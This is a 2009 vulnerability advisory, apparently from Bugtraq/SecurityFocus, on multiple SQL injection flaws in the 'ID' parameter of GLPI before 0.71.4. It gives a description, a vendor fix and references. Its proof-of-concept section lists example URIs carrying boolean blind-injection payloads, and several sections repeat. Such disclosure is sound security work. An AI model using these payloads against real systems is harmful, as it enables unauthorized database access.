GLPI Prior to 0.71.4 'ID' Parameter Multiple SQL Injection Vulnerabilities
BID:33477
Info
GLPI Prior to 0.71.4 'ID' Parameter Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 33477 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 27 2009 12:00AM |
| Updated: | Jan 30 2009 11:39PM |
| Credit: | moyo |
| Vulnerable: |
Red Hat Fedora 9 GLPI GLPI 0.71.3 |
| Not Vulnerable: |
GLPI GLPI 0.71.4 |
Discussion
GLPI Prior to 0.71.4 'ID' Parameter Multiple SQL Injection Vulnerabilities
GLPI is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Versions prior to GLPI 0.71.4 are vulnerable.
GLPI is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Versions prior to GLPI 0.71.4 are vulnerable.
Exploit / POC
GLPI Prior to 0.71.4 'ID' Parameter Multiple SQL Injection Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/glpi/front/user.form.php?ID=2+and+1=1 True
http://www.example.com/glpi/front/user.form.php?ID=2+and+1=1337 False
http://www.example.com/glpi/front/user.form.php?ID=2+and+substring(version(),1,1)=5
http://www.example.com/glpi/front/profile.form.php?ID=2+and+1=1337
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/glpi/front/user.form.php?ID=2+and+1=1 True
http://www.example.com/glpi/front/user.form.php?ID=2+and+1=1337 False
http://www.example.com/glpi/front/user.form.php?ID=2+and+substring(version(),1,1)=5
http://www.example.com/glpi/front/profile.form.php?ID=2+and+1=1337
Solution / Fix
GLPI Prior to 0.71.4 'ID' Parameter Multiple SQL Injection Vulnerabilities
Solution:
A vendor update is available. Please see the references for more information.
Glpi-Project Glpi 0.71.3
Solution:
A vendor update is available. Please see the references for more information.
Glpi-Project Glpi 0.71.3
-
GLPI GLPI Version 0.71.4
http://www.glpi-project.org/spip.php?action=dw2_out&id=635
References
GLPI Prior to 0.71.4 'ID' Parameter Multiple SQL Injection Vulnerabilities
References:
References:
- GLPI 0.71.4 Announcement (GLPI)
- GLPI Homepage (GLPI)